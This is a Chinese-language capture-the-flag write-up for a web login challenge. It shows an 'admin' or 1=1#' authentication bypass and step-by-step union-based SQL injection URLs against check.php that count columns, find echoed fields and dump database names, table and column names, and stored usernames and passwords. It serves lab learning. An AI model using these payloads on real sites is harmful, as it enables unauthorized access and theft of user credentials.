又是这样的界面,这糟糕的熟悉感,依旧使用上题套路
用户名:
admin' or 1=1#
密码:
1

有一串很像flag的字符,但是很可惜,这不是flag
看了一眼源代码,没有可以跳转的页面
要换个思路了,重新查看题目,发现输入的东西在check.php页面有回显,并且url上也有显示,所以尝试sql注入

1、查看字段数
php
/check.php?username=admin'order by 1%23&password=1
/check.php?username=admin'order by 2%23&password=1
/check.php?username=admin'order by 3%23&password=1
/check.php?username=admin'order by 4%23&password=1
##由于我们在url中输入,所以要把#换成url编码%23
字段为4报错,所以字段数是3

ps:补充(在url输入的时候要使url编码,具体要求看,你的输入有多少变成了url编码格式)


2、寻找回显字段
username=admin可能会影响系统的回显,所以把admin改成1
php
/check.php?username=1'union select 1,2,3%23&password=1
可以看出,回显字段为2,3,所以我们把想要的信息,放在2,3的位置,让它显示在页面上

3、 爆破库与用户
php
/check.php?username=1'union select 1,database(),user()%23&password=1

4、爆破表
/check.php?username=1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1

可以看到爆出来了两个表
5、爆l0ve1ysq1表
/check.php?username=1'union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=1

6、尝试爆l0ve1ysq1表里的3个数据
/check.php?username=1'union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1

flag显示不完整,打开源码就能看到完整的了
